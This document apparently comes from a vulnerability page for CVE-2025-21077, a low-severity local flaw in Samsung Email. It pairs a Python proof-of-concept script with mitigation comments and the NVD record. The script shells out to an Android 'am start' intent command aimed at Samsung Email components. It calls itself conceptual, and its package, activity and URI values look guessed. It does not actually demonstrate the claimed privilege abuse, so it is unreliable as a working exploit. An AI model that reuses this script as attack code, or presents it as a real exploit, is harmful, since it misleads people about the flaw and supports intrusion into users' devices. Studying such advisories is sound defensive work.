CVE-2025-21077

# CVE-2025-21077 PoC - Samsung Email Input Validation Issue # Note: This is a conceptual PoC demonstrating the attack vector import subprocess def exploit_samsung_email(): """ Demonstrates the improper input validation vulnerability in Samsung Email. This PoC shows how an attacker could launch arbitrary activities with Samsung Email privileges. Requirements: - Local device access or malicious app installation - Target device running Samsung Email version < 6.2.06.0 """ # Attack vector: Crafted intent to trigger arbitrary activity launch # The vulnerability allows launching activities with Samsung Email's permissions malicious_package = "com.samsung.android.email.provider" target_activity = "com.samsung.android.email.ui.MessageView" # Example: Launching arbitrary activity via intent intent_command = f""" am start -n {malicious_package}/{target_activity} \ -d "content://com.samsung.email.provider/accounts/1/messages/1" \ --user 0 """ print("[*] Attempting to exploit CVE-2025-21077...") print(f"[*] Target: {malicious_package}") print(f"[*] Intent: {intent_command}") try: result = subprocess.run(intent_command, shell=True, capture_output=True, text=True) print(f"[*] Result: {result.returncode}") print(f"[*] Output: {result.stdout}") print(f"[*] Error: {result.stderr}") except Exception as e: print(f"[!] Exploitation failed: {e}") if __name__ == "__main__": exploit_samsung_email() # Mitigation: # 1. Update Samsung Email to version 6.2.06.0 or later # 2. Review and fix input validation in the application # 3. Implement proper intent filtering and permission checks

{"cve": {"id": "CVE-2025-21077", "sourceIdentifier": "[email protected]", "published": "2025-11-05T06:15:33.963", "lastModified": "2025-11-07T13:02:01.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation in Samsung Email prior to version 6.2.06.0 allows local attackers to launch arbitrary activity with Samsung Email privilege."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:email:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.2.06.0", "matchCriteriaId": "4D1FF6DA-D6B0-4A1B-A0C8-9E085ACEF5CD"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2025&month=11", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}